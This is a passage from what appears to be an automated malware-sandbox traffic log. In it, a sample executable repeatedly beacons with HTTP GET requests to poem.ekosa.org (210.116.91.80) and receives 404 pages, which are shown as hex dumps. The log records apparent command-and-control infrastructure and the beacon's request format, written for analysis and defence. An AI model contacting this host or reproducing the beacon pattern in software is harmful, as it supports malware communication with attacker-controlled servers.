Jan 11, 2021 17:57:39.567338943 CET	5336	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:38 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49792	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:13.708411932 CET	399	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:13.967778921 CET	411	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:13 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.2.4	50060	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:39.845774889 CET	5337	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:40.118158102 CET	5337	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:39 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.2.4	50061	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:40.390743971 CET	5338	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:40.653165102 CET	5338	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:39 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.4	50062	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:41.034111977 CET	5339	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:41.291224003 CET	5340	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:41 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.2.4	50063	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:41.556370974 CET	5340	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:41.816778898 CET	5341	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:41 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.4	50064	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:42.086652040 CET	5342	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:42.348958969 CET	5342	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:42 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49793	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:14.233062029 CET	436	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:14.494489908 CET	455	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:13 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49761	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:54:58.403862000 CET	101	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:54:58.668386936 CET	106	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:54:57 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49796	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:14.876337051 CET	463	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:15.145694017 CET	463	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:15 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49797	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:15.415507078 CET	464	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:15.679867029 CET	464	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:15 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49798	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
